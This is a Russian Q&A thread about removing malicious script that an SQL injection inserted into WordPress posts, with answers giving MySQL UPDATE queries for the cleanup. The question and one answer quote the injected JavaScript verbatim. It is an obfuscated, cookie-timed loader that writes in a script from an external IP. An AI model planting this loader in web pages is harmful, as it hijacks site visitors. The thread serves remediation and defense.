Как удалить сценарии в сообщениях от SQL-инъекции? - PullRequest
0 голосов
/ 10 сентября 2018

У меня был плагин, который делал мой сайт Wordpress уязвимым для атаки SQL-инъекцией. С тех пор я заблокировал свой сайт и удалил все файлы Wordpress, затем переустановил Wordpress. Плагин также был удален. К сожалению, теперь у меня есть все 2503 сообщения с установленным сценарием следующего примера:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->

Проблема в том, что при поиске конкретного скрипта строка base64 отличается для каждой записи. Поэтому я не могу просто найти и заменить / удалить.

Я думал, что, поскольку начало и конец сценария фактически прокомментированы, не может ли запрос к базе данных каким-либо образом удалить код между ними, а затем второй запрос удалить комментарии? Если так, я не могу найти это нигде. Кажется, это легко сделать, но, по-видимому (по мнению Google), это довольно сложно.

Надеюсь, у кого-то будет процедурное средство правовой защиты. А пока я буду делать это удаление вручную в надежде, что кто-то может сэкономить мне время.

Ответы [ 2 ]

0 голосов
/ 03 июня 2019

Просто хотел добавить в эту ветку, поскольку я нашел это полезным, но с небольшим отличием от опубликованного ответа.

Главное, что атака в моей базе данных WordPress была завершена многимимного, много wp_posts.Итак, мне не нужно было присоединять две струны, просто обрезать с конца.

Не уверен, что это лучшая версия, но вот то, что сработало для меня (после тестирования с помощью SELECT) и очистило почти 3000 сообщений от вредоносного кода, сделав это:

UPDATE wp_posts SET post_content =
 SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
 WHERE LOCATE('<!--codes_iframe-->', post_content) >0;

Спасибоза помощь в сохранении моего сайта!

0 голосов
/ 10 сентября 2018

MySQL 8.0 представляет новую функцию REGEXP_REPLACE () , но если вы используете более раннюю версию MySQL, вы можете использовать LOCATE () , чтобы найти начальную и конечную позиции в текст, а затем разбить содержимое между этими двумя позициями.

Я проверил это - я создал таблицу wp_mytable и поместил в нее ваш оскорбительный текст с небольшим количеством текста до и после.

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
 id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)

LOCATE () может найти открытые и закрытые теги:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
|     9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end  |
+------+
|  830 |
+------+

Теперь, если мы заменим txt содержимым до позиции 9 и после позиции 830 + LENGTH('<!--/codes_iframe-->'), это удалит проблемное содержимое.

Сначала проверьте это с помощью SELECT:

mysql> SELECT 
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt 
  FROM wp_mytable\G
*************************** 1. row ***************************
 pre_txt: ABC 123

post_txt: 
And that's all, folks.

Когда мы уверены, что это правильная подстрока, объедините части вместе и используйте их в ОБНОВЛЕНИИ:

mysql> UPDATE wp_mytable SET txt = CONCAT(
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
  WHERE LOCATE('<!--codes_iframe-->', txt) > 0;

Как всегда, сделайте резервную копию ваших данных, прежде чем пытаться сделать этот тип операции.

Мне также приходит в голову, что вам следует снова искать данные после того, как вы сделали эту замену, в случае, если нарушающий скрипт был вставлен дважды в данный текст. Метод замены удаляет только первое вхождение, но вы этого хотите. Вы не хотите удалять допустимый текст между двумя вхождениями скрипта.

Кстати, мне жаль слышать, что вас взломали атакой SQL-инъекции. Люди иногда сосут.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...